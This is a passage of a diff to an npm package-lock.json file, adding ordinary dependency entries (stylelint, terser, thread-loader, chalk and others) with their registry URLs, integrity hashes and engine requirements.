}, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/speed-measure-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", + "dev": true + }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz", + "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1", + "get-intrinsic": "^1.1.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.4.1", + "side-channel": "^1.0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-loader": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", + "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", + "dev": true, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/style-search": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/style-search/-/style-search-0.1.0.tgz", + "integrity": "sha1-eVjHk+R+MuB9K1yv5cC/jhLneQI=", + "dev": true + }, + "node_modules/stylelint": { + "version": "13.13.1", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.13.1.tgz", + "integrity": "sha512-Mv+BQr5XTUrKqAXmpqm6Ddli6Ief+AiPZkRsIrAoUKFuq/ElkUh9ZMYxXD0iQNZ5ADghZKLOWz1h7hTClB7zgQ==", + "dev": true, + "dependencies": { + "@stylelint/postcss-css-in-js": "^0.37.2", + "@stylelint/postcss-markdown": "^0.36.2", + "autoprefixer": "^9.8.6", + "balanced-match": "^2.0.0", + "chalk": "^4.1.1", + "cosmiconfig": "^7.0.0", + "debug": "^4.3.1", + "execall": "^2.0.0", + "fast-glob": "^3.2.5", + "fastest-levenshtein": "^1.0.12", + "file-entry-cache": "^6.0.1", + "get-stdin": "^8.0.0", + "global-modules": "^2.0.0", + "globby": "^11.0.3", + "globjoin": "^0.1.4", + "html-tags": "^3.1.0", + "ignore": "^5.1.8", + "import-lazy": "^4.0.0", + "imurmurhash": "^0.1.4", + "known-css-properties": "^0.21.0", + "lodash": "^4.17.21", + "log-symbols": "^4.1.0", + "mathml-tag-names": "^2.1.3", + "meow": "^9.0.0", + "micromatch": "^4.0.4", + "normalize-selector": "^0.2.0", + "postcss": "^7.0.35", + "postcss-html": "^0.36.0", + "postcss-less": "^3.1.4", + "postcss-media-query-parser": "^0.2.3", + "postcss-resolve-nested-selector": "^0.1.1", + "postcss-safe-parser": "^4.0.2", + "postcss-sass": "^0.4.4", + "postcss-scss": "^2.1.1", + "postcss-selector-parser": "^6.0.5", + "postcss-syntax": "^0.36.2", + "postcss-value-parser": "^4.1.0", + "resolve-from": "^5.0.0", + "slash": "^3.0.0", + "specificity": "^0.4.1", + "string-width": "^4.2.2", + "strip-ansi": "^6.0.0", + "style-search": "^0.1.0", + "sugarss": "^2.0.0", + "svg-tags": "^1.0.0", + "table": "^6.6.0", + "v8-compile-cache": "^2.3.0", + "write-file-atomic": "^3.0.3" + }, + "bin": { + "stylelint": "bin/stylelint.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/stylelint" + } + }, + "node_modules/stylelint/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/stylelint/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/stylelint/node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/balanced-match": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-2.0.0.tgz", + "integrity": "sha512-1ugUSr8BHXRnK23KfuYS+gVMC3LB8QGH9W1iGtDPsNWoQbgtXSExkBu2aDR4epiGWZOjZsj6lDl/N/AqqTC3UA==", + "dev": true + }, + "node_modules/stylelint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/stylelint/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/stylelint/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/stylelint/node_modules/cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "dev": true, + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stylelint/node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/stylelint/node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/stylelint/node_modules/flatted": { + "version": "3.2.5", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.5.tgz", + "integrity": "sha512-WIWGi2L3DyTUvUrwRKgGi9TwxQMUEqPOPQBVi71R96jZXJdFskXEmf54BoZaS1kknGODoIGASGEzBUYdyMCBJg==", + "dev": true + }, + "node_modules/stylelint/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/stylelint/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/stylelint/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/stylelint/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/stylelint/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/stylelint/node_modules/table": { + "version": "6.8.0", + "resolved": "https://registry.npmjs.org/table/-/table-6.8.0.tgz", + "integrity": "sha512-s/fitrbVeEyHKFa7mFdkuQMWlH1Wgw/yEXMt5xACT4ZpzWFluehAxRtUUQKPuWhaLAWhFcVx6w3oC8VKaUfPGA==", + "dev": true, + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/sugarss": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sugarss/-/sugarss-2.0.0.tgz", + "integrity": "sha512-WfxjozUk0UVA4jm+U1d736AUpzSrNsQcIbyOkoE364GrtWmIrFdk5lksEupgWMD4VaT/0kVx1dobpiDumSgmJQ==", + "dev": true, + "dependencies": { + "postcss": "^7.0.2" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-tags": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/svg-tags/-/svg-tags-1.0.0.tgz", + "integrity": "sha1-WPcc7jvVGbWdSyqEO2x95krAR2Q=", + "dev": true + }, + "node_modules/table": { + "version": "5.4.6", + "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz", + "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==", + "dev": true, + "dependencies": { + "ajv": "^6.10.2", + "lodash": "^4.17.14", + "slice-ansi": "^2.1.0", + "string-width": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/table/node_modules/emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "node_modules/table/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.12.1.tgz", + "integrity": "sha512-NXbs+7nisos5E+yXwAD+y7zrcTkMqb0dEJxIGtSKPdCBzopf7ni4odPul2aechpV7EXNvOudYOX2bb5tln1jbQ==", + "dependencies": { + "acorn": "^8.5.0", + "commander": "^2.20.0", + "source-map": "~0.7.2", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.1.tgz", + "integrity": "sha512-GvlZdT6wPQKbDNW/GDQzZFg/j4vKU96yl2q6mcUkzKOgW4gwf1Z8cZToUCrz31XHlPWH8MVb1r2tFtdDtTGJ7g==", + "dependencies": { + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1", + "terser": "^5.7.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/terser-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/terser/node_modules/acorn": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz", + "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/terser/node_modules/source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "node_modules/thread-loader": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/thread-loader/-/thread-loader-3.0.4.tgz", + "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "dev": true, + "dependencies": { + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.1.0", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.27.0 || ^5.0.0" + } + }, + "node_modules/thread-loader/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true + }, + "node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/through2/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + 